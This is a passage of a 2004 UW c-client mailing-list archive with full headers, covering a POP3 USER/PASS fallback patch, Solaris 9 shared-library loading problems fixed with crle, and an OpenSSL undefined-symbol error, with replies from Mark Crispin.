Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139qdhs017813 for ; Tue, 3 Feb 2004 01:52:39 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139qbVN020507 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 01:52:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i139plVb013078; Tue, 3 Feb 2004 01:51:48 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139p6uL046710 for ; Tue, 3 Feb 2004 01:51:06 -0800 Received: from typhoon.typhoon.co.jp (typhoon.typhoon.co.jp [202.33.21.39]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i139p4wR018755 for ; Tue, 3 Feb 2004 01:51:04 -0800 Received: from typhoon.typhoon.co.jp (localhost [127.0.0.1]) by typhoon.typhoon.co.jp (8.12.10/8.12.10/TIS) with ESMTP id i139p0hn065155; Tue, 3 Feb 2004 18:51:00 +0900 (JST) Received: from localhost (nfung@localhost) by typhoon.typhoon.co.jp (8.12.10/8.12.10/Submit) with ESMTP id i139p02W065138; Tue, 3 Feb 2004 18:51:00 +0900 (JST) Message-Id: Date: Tue, 3 Feb 2004 18:51:00 +0900 (JST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ml To: Mark Crispin Cc: ml , c-client@u.washington.edu Subject: Re: c-client -> broken pop servers In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Feb 2004, Mark Crispin wrote: >On Tue, 3 Feb 2004, ml wrote: >> I suspect, the problem is that upon seeing the "+OK " >> greetings from the pop3 server, c-client will issue a "CAPA" command. In >> response to that, the server would say: >> +OK capability list follows >> PIPELINING >> TOP >> UIDL >> APOP >> . > >This server is saying that it does not support plaintext password >USER/PASS authentication, but it does support APOP authentication. > >The c-client library does not support APOP, as APOP has been deprecated in >favor of SASL based authentication. The SASL equivalent to APOP would be >"AUTH CRAM-MD5". > >Are you certain that the server will accept a USER/PASS authentication? >The CAPA response says that it will not. Your patch will work to force >c-client to send USER/PASS even if the server says that it does not >support it. This would be a bad thing if it turned out that the server >didn't really support USER/PASS. Mark, Thank you very much for the response. Yes, I'm sure it supports USER/PASS because when I continued on and say "USER someusername" it responded with "+OK password please" and I logged on fine. So, it looks like it didn't advertise the "USER" capa because it preferred users to use APOP? Hmmm... Anyway, if I were to force c-client to send USER/PASS, would it break other "good" (e.g. SASL capable) servers? For your information, I have decided on the following shorter patch. Thanks again for your help. Regards, N. ----patch follows--- diff -r1.1 pop3.c 407a408 > LOCAL->cap.user = T; /* guess worst-case old server */ 409,412c410 < else { < LOCAL->cap.user = T; /* guess worst-case old server */ < return NIL; /* no CAPA on this server */ < } --- > else return NIL; /* no CAPA on this server */ From pinedev@shivax2.cac.washington.edu Tue Feb 3 12:42:05 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 12:42:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13Kg4hs021910 for ; Tue, 3 Feb 2004 12:42:04 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13Kg2VN029608 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 12:42:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i13Kesrk012156; Tue, 3 Feb 2004 12:40:56 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13KdkuL102562 for ; Tue, 3 Feb 2004 12:39:46 -0800 Received: from orcinus.mote.org (orcinus.mote.org [12.174.210.56]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13KdiFL002564 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 12:39:45 -0800 Received: from loligo.mote.org ([12.174.210.234] ident=don) by orcinus.mote.org with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1Ao7Ke-00031N-7M for c-client@u.washington.edu; Tue, 03 Feb 2004 15:39:40 -0500 Message-Id: Date: Tue, 3 Feb 2004 15:39:39 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Don Hayward To: c-client@u.washington.edu Subject: ld Problems on Solaris 9 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SUPERLONG_LINE 0.003, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have UW-imap, perl-c-client, wing/maild working on a Solaris 6 system with perl 5.6.1, umap-2002a, openssl-0.9.7.h. I'm trying to move the server to a Solaris 9 system with imap-2004.RC4, perl5.6.2 and the same openssl and am having run time problems. Everything compiles cleanly. But when I try to start maild I get the following: Can't load '/usr/local/lib/perl5/site_perl/5.6.2/sun4-solaris/auto/Mail/Ccl= ient/Cclient.so' for module Mail::Cclient: ld.so.1: /usr/bin/perl: fatal: r= elocation error: file /usr/local/lib/perl5/site_perl/5.6.2/sun4-solaris/aut= o/Mail/Cclient/Cclient.so: symbol SSL_get_peer_certificate: referenced symb= ol not found at /usr/local/lib/perl5/5.6.2/sun4-solaris/DynaLoader.pm line = 206. at /usr/sbin/maild line 16 Compilation failed in require at /usr/sbin/maild line 16. BEGIN failed--compilation aborted at /usr/sbin/maild line 16. As well, when I try to start the imap server from another system (mozilla mail) I get the system is not an imap4 server. And mtest: mtest/mtest MTest -- C client test program Debug protocol (y/n)?y Mailbox ('?' for help): {localhost}INBOX [Trying IP address [127.0.0.1]] =DB` =DB`issing IMAP reply key: l ?[CLOSED] IMAP connection broken (server response) Mailbox ('?' for help): {postoffi.mote.org}INBOX [Trying IP address [12.174.210.9]] =DB=A0 =DB=A0issing IMAP reply key: l ?[CLOSED] IMAP connection broken (server response) Mailbox ('?' for help): My command line for the compile (I started out with no extraldflags, but have added these trying to solve the problem) is: gmake gso EXTRALDFLAGS=3D'-R/usr/local/lib -R/usr/local/ssl/lib' The relevant line from inetd.conf is: imap stream tcp nowait root /usr/sbin/imapd imapd and from services: imap 143/tcp imap2 # Internet Mail Access Protocol = v2 imap 143/udp imap2 # Internet Mail Access Protocol = v2 ls -l /usr/sbin/imapd -rwxr-xr-x 1 root other 2215356 Feb 2 16:12 /usr/sbin/imapd echo $LD_LIBRARY_PATH /usr/local/lib:/usr/local/ssl/lib:/usr/local/BerkeleyDB.4.2/lib:/usr/lib gcc --version gcc (GCC) 3.3.2 I tried imap-2002a with the same results. I would appreciate suggestions about how to solve this. Thanks. Don Hayward=09=09=09don@mote.org Mote Marine Laboratory=09=09Office: 941.388.4441 Cell: 941.302.4982 1600 Ken Thompson Parkway=09Fax: 941.388.4312 Sarasota, FL 34236=09=09See: http://www.mote.org Independent, non-profit, marine and estuarine research and education facili= ty. For PGP public key do: http://www.mote.org/~don/donpgp.asc use "DISCLAIMER"; # We run Debian Linux Ordinary men and women have a right to peace, material comfort, self-respec= t, and a touch of joy in living. Eric F. Goldman, [1915-1989] -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 3 13:06:00 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 13:06:00 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13L60hs024770 for ; Tue, 3 Feb 2004 13:06:00 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13L5uGV030479 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 13:05:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i13L3jrk010984; Tue, 3 Feb 2004 13:03:45 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13L2ouL049832 for ; Tue, 3 Feb 2004 13:02:50 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13L2nek029284 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 13:02:50 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13L2ghU012029; Tue, 3 Feb 2004 13:02:43 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13L2ggE008448 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Feb 2004 13:02:42 -0800 Message-Id: Date: Tue, 3 Feb 2004 13:02:42 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Don Hayward Cc: c-client@u.washington.edu Subject: Re: ld Problems on Solaris 9 In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your problem appears to be a gcc installation problem. The IMAP serer on postoffi.mote.org returns: ld.so.1: imapd: fatal: libgcc_s.so.1: open failed: No such file or directory which indicates that at least this file (and perhaps others) needed on your system are missing. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 3 13:36:20 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 13:36:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LaKhs028434 for ; Tue, 3 Feb 2004 13:36:20 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LaIGV032619 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 13:36:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i13LRkrk015800; Tue, 3 Feb 2004 13:27:46 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LQZuL053816 for ; Tue, 3 Feb 2004 13:26:35 -0800 Received: from orcinus.mote.org (orcinus.mote.org [12.174.210.56]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LQX8L004338 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 13:26:34 -0800 Received: from loligo.mote.org ([12.174.210.234] ident=don) by orcinus.mote.org with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1Ao83q-0003v5-K2; Tue, 03 Feb 2004 16:26:22 -0500 Message-Id: Date: Tue, 3 Feb 2004 16:26:22 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Don Hayward To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: ld Problems on Solaris 9 In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks Mark. The files are there in /usr/local/lib -- it's a question of getting the loader to find them, thus the -R/usr/local/lib -- I've been having similar problems with other apps I've built on this system -- it seems to be related to secure vs insecure loading, effective uid, etc. I've solved some with crle: crle Configuration file [3]: /var/ld/ld.config Default Library Path (ELF): /usr/lib (system default) Trusted Directories (ELF): /usr/local/lib:/usr/local/BerkeleyDB.4.2/lib:/usr/local/ssl/lib/ Command line: crle -c /var/ld/ld.config -s /usr/local/lib:/usr/local/BerkeleyDB.4.2/lib:/usr/local/ssl/lib/ But that hasn't fixed this one. My gcc was obtained as binary -- I'm thinking of bootstrapping a gcc -- I wonder if that would help in some way. BTW -- how did you get this output?? Thanks again. On Tue, 3 Feb 2004, Mark Crispin wrote: > Your problem appears to be a gcc installation problem. > > The IMAP serer on postoffi.mote.org returns: > ld.so.1: imapd: fatal: libgcc_s.so.1: open failed: No such file or directory > which indicates that at least this file (and perhaps others) needed on > your system are missing. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > Don Hayward don@mote.org Mote Marine Laboratory Office: 941.388.4441 Cell: 941.302.4982 1600 Ken Thompson Parkway Fax: 941.388.4312 Sarasota, FL 34236 See: http://www.mote.org Independent, non-profit, marine and estuarine research and education facility. For PGP public key do: http://www.mote.org/~don/donpgp.asc use "DISCLAIMER"; # We run Debian Linux Ordinary men and women have a right to peace, material comfort, self-respect, and a touch of joy in living. Eric F. Goldman, [1915-1989] From pinedev@shivax2.cac.washington.edu Tue Feb 3 13:39:19 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 13:39:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LdJhs028791 for ; Tue, 3 Feb 2004 13:39:19 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LdHVN001327 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 13:39:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i13LUbVb016610; Tue, 3 Feb 2004 13:30:37 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LUBuL057368 for ; Tue, 3 Feb 2004 13:30:11 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LUAJI008019 for ; Tue, 3 Feb 2004 13:30:10 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LU3X9018723; Tue, 3 Feb 2004 13:30:03 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13LU2tV016611 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Feb 2004 13:30:02 -0800 Message-Id: Date: Tue, 3 Feb 2004 13:30:02 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Don Hayward Cc: c-client@u.washington.edu Subject: Re: ld Problems on Solaris 9 In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Feb 2004, Don Hayward wrote: > Thanks Mark. The files are there in /usr/local/lib -- it's a question > of getting the loader to find them The file in question is a shared library, and apparently /usr/local/lib is not in the path that shared libraries are loaded from. I doubt that the necessary configuration setting is in ld. > BTW -- how did you get this output?? telnet postoffi.mote.or imap -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 3 14:10:41 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Feb 2004 14:10:41 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13MAfhs032342 for ; Tue, 3 Feb 2004 14:10:41 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13MAdGV002532 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:10:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i13M5uVb011986; Tue, 3 Feb 2004 14:05:56 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13M4xuL090092 for ; Tue, 3 Feb 2004 14:04:59 -0800 Received: from orcinus.mote.org (orcinus.mote.org [12.174.210.56]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i13M4qFL003638 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:04:58 -0800 Received: from loligo.mote.org ([12.174.210.234] ident=don) by orcinus.mote.org with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1Ao8ew-0004Z6-FT; Tue, 03 Feb 2004 17:04:42 -0500 Message-Id: Date: Tue, 3 Feb 2004 17:04:41 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Don Hayward To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: ld Problems on Solaris 9 In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hey Mark -- I messed with crle somemore: crle Configuration file [3]: /var/ld/ld.config Default Library Path (ELF): /usr/lib:/usr/local/lib:/usr/local/BerkeleyDB.4.2/lib:/usr/local/ssl/lib Trusted Directories (ELF): /usr/local/lib:/usr/local/BerkeleyDB.4.2/lib:/usr/local/ssl/lib Command line: crle -c /var/ld/ld.config -l /usr/lib:/usr/local/lib:/usr/local/BerkeleyDB.4.2/lib:/usr/local/ssl/lib -s /usr/local/lib:/usr/local/BerkeleyDB.4.2/lib:/usr/local/ssl/lib and imap is working -- perl-cclient is still broken -- but that's for tommorow. Thanks again for your input. Don On Tue, 3 Feb 2004, Mark Crispin wrote: > On Tue, 3 Feb 2004, Don Hayward wrote: > > Thanks Mark. The files are there in /usr/local/lib -- it's a question > > of getting the loader to find them > > The file in question is a shared library, and apparently /usr/local/lib is > not in the path that shared libraries are loaded from. I doubt that the > necessary configuration setting is in ld. > > > BTW -- how did you get this output?? > > telnet postoffi.mote.or imap > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > Don Hayward don@mote.org Mote Marine Laboratory Office: 941.388.4441 Cell: 941.302.4982 1600 Ken Thompson Parkway Fax: 941.388.4312 Sarasota, FL 34236 See: http://www.mote.org Independent, non-profit, marine and estuarine research and education facility. For PGP public key do: http://www.mote.org/~don/donpgp.asc use "DISCLAIMER"; # We run Debian Linux Ordinary men and women have a right to peace, material comfort, self-respect, and a touch of joy in living. Eric F. Goldman, [1915-1989] From pinedev@shivax2.cac.washington.edu Fri Feb 6 13:17:29 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 Feb 2004 13:17:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LHThs007895 for ; Fri, 6 Feb 2004 13:17:29 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LHRGV012105 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 6 Feb 2004 13:17:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i16LFZFh011478; Fri, 6 Feb 2004 13:15:35 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LDtuL094366 for ; Fri, 6 Feb 2004 13:13:55 -0800 Received: from mail.acmesecurity.org ([200.145.216.2]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LDrwR019603 for ; Fri, 6 Feb 2004 13:13:54 -0800 Received: from acmesecurity.org (unknown [192.168.20.65]) by mail.acmesecurity.org (Postfix) with ESMTP id 7E1523EDD for ; Fri, 6 Feb 2004 19:13:21 -0200 (BRST) Message-Id: <4024034A.5090604@acmesecurity.org> Date: Fri, 06 Feb 2004 19:12:42 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thiago Alves Siqueira To: c-client@u.washington.edu Subject: IMAP with SSL problem MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='LINES_OF_YELLING 0.001, X_ACCEPT_LANG 0, PGP_SIGNATURE 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, I have a server (debian woody) and I wish to use IMAP with SSL. I generate the certificates, configure /etc/inetd.conf and /etc/services correctly. The problem is that when I try to access some account on this server, it doesn't work! Somebody have ever seen this problem? I did searches in all informations fonts that I know about IMAP and nothing...Next, the error found on the logs: $ tail /var/log/messages (...) Feb 6 18:49:51 localhost imapd: relocation error: /usr/lib/libc-client.so.2001: undefined symbol: SSL_library_init (...) PS.: IMAP (port 443) works correctly. Thanks, - -- Thiago Alves Siqueira ACME! Computer Security Researcher thiago@acmesecurity.org - Brazil http://www.acmesecurity.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Debian - http://enigmail.mozdev.org iD8DBQFAJANK2LAJCBHtEnMRAtOjAKDNqPeOS+HZ5SDPaTZEchV9utGKkACeN4qu vZkCeUTSQPNQn7lZiwuqi0o= =8CRt -----END PGP SIGNATURE----- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 6 13:20:50 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 Feb 2004 13:20:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LKohs008347 for ; Fri, 6 Feb 2004 13:20:50 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LKmVN028835 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 6 Feb 2004 13:20:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i16LJerk012764; Fri, 6 Feb 2004 13:19:40 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LItuL068122 for ; Fri, 6 Feb 2004 13:18:55 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LIsek004259 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 6 Feb 2004 13:18:54 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i16LIo9h031923; Fri, 6 Feb 2004 13:18:50 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.11+UW04.02) with ESMTP id i16LInsa025582 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 6 Feb 2004 13:18:50 -0800 Message-Id: Date: Fri, 6 Feb 2004 13:18:50 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thiago Alves Siqueira Cc: c-client@u.washington.edu Subject: Re: IMAP with SSL problem In-Reply-To: <4024034A.5090604@acmesecurity.org> References: <4024034A.5090604@acmesecurity.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 6 Feb 2004, Thiago Alves Siqueira wrote: > Feb 6 18:49:51 localhost imapd: relocation error: > /usr/lib/libc-client.so.2001: undefined symbol: SSL_library_init This is a shared library problem. SSL_library_init() is a function in OpenSSL, not IMAP. Try building with static libraries and see if that makes things any better. -- Mark -- http://staff.washington.edu/mrc Science does not emerge 